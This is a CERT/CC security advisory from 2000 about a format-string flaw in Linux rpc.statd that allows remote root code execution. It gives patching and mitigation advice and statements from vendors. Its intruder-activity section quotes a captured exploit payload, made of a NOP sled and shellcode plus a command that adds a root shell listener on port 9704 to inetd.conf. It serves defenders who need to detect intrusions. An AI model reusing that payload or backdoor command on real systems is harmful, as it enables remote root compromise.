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CERT® Advisory CA-2000-17 Input Validation Problem in rpc.statd

Original release date: August 18, 2000
Last revised: September 6, 2000
Source: CERT/CC

A complete revision history is at the end of this file.

Systems Affected

  • Systems running the rpc.statd service

Overview

The CERT/CC has begun receiving reports of an input validation vulnerability in the rpc.statd program being exploited. This program is included, and often installed by default, in several popular Linux distributions. Please see Appendix A of this document for specific information regarding affected distributions.

More information about this vulnerability is available at the following public URLs:

I. Description

The rpc.statd program passes user-supplied data to the syslog() function as a format string. If there is no input validation of this string, a malicious user can inject machine code to be executed with the privileges of the rpc.statd process, typically root.

Intruder Activity

The following is an example log message from a compromised system illustrating the rpc.statd exploit occurring: 
Aug XX 17:13:08 victim rpc.statd[410]: SM_MON request for hostname
containing '/': ^D^D^E^E^F
^F^G^G08049f10
bffff754 000028f8 4d5f4d53 72204e4f 65757165 66207473 6820726f 6e74736f
20656d61 746e6f63 696e6961 2720676e 203a272f
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000bffff7
0400000000000000000000000000000000000000000000000bffff7050000bffff70600000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000bffff707<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>K^<89>v

<83> <8D>^(<83> <89>^<83> <8D>^.<83> <83> <83>#<89>^
1<83>
<88>F'<88>F*<83> <88>F<89>F+,
<89><8D>N<8D>V<80>1<89>@<80>/bin
/sh -c echo 9704 stream tcp 
nowait root /bin/sh sh -i >> /etc/inetd.conf;killall -HUP inetd

If you see log entries similar to those above, we suggest you examine your system for signs of intrusion by following the steps outlined in our Intruder Detection Checklist. If you believe your host has been compromised, please follow our Steps for Recovering From a Root Compromise. Please check our Current Activity page for updates regarding intruder activity.

II. Impact

By exploiting this vulnerability, local or remote users may be able to execute arbitrary code with the privileges of the rpc.statd process, typically root.

III. Solution

Upgrade your version of rpc.statd

Please see Appendix A of this advisory for more information about the availability of program updates specific to your system. If you are running a vulnerable version of rpc.statd, the CERT/CC encourages you to apply appropriate vendor patches. After making any updates, be sure to restart the rpc.statd service.

Disable the rpc.statd service

If an update cannot be applied, the CERT/CC recommends disabling the rpc.statd service. We advise proceeding with caution, however, as disabling this process can interfere with NFS functionality.

Block unneeded ports at your firewall

As a good security practice in general, the CERT/CC recommends blocking unneeded ports at your firewall. This option does not remedy the vulnerability, but does prevent outside intruders from exploiting it. In particular, block port 111 (portmapper), as well as the port on which rpc.statd is running, which may vary.

Appendix A. Vendor Information

This section contains information provided by vendors for this advisory. We will update this appendix as we receive more information. If you do not see your vendor's name, the CERT/CC did not receive a response from that vendor. Please contact your vendor directly.

Berkeley Software Design, Inc. (BSDI)

No versions of BSD/OS are vulnerable.

Caldera, Inc.

Not vulnerable: None of our products ship with rpc.statd

Compaq

© Copyright 2000 Compaq Computer Corporation. All rights reserved.

SOURCE: Compaq Computer Corporation
Compaq Services
Software Security Response Team USA

re: input validation problem in rpc.statd

This reported problem has not been found to affect the as shipped, Compaq Tru64/UNIX Operating Systems Software.

- Compaq Computer Corporation

Debian

http://www.debian.org/security/2000/20000719a

FreeBSD

FreeBSD is not vulnerable to this problem.

Hewlett-Packard Company

HP is NOT Vulnerable to the rpc.statd issue in CERT Advisory CA-2000-17.

NetBSD

NetBSD 1.4.x and NetBSD 1.5 do not appear to be affected by this problem; all calls to syslog() within rpc.statd take a constant string for the format argument.

OpenBSD

*Linux* systems running the rpc.statd service!
This affects noone else!

RedHat

http://www.redhat.com/support/errata/RHSA-2000-043-03.html

Santa Cruz Operation

The Santa Cruz Operation has investigated this vulnerability and has determined that NO SCO products are susceptable to it. SCO does not provide the programs in question, and SCO programs that perform the same or similar functionality are not susceptable to this vulnerability.

Silicon Graphics, Inc.

IRIX rpc.statd is not vulnerable to this security issue.

Sun Microsystems, Inc.

Our rpc.statd is not vulnerable to this buffer overflow.

Authors: John Shaffer, Brian King

This document is available from: http://www.cert.org/advisories/CA-2000-17.html

CERT/CC Contact Information

Email: cert@cert.org
Phone: +1 412-268-7090 (24-hour hotline)
Fax: +1 412-268-6989
Postal address:
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
U.S.A.

CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends.

Using encryption

We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from

If you prefer to use DES, please call the CERT hotline for more information.

Getting security information

CERT publications and other security information are available from our web site

* "CERT" and "CERT Coordination Center" are registered in the U.S. Patent and Trademark Office.

NO WARRANTY
Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an "as is" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement.

Conditions for use, disclaimers, and sponsorship information

Copyright 2000 Carnegie Mellon University.

Revision History 

Aug 18, 2000:  Initial release
Aug 21, 2000:  Added additional vendor information to Appendix A.
Aug 23, 2000:  Added vendor information from Hewlett-Packard to Appendix A.
Sep  6, 2000:  Updated vendor information for Compaq Computer Corporation.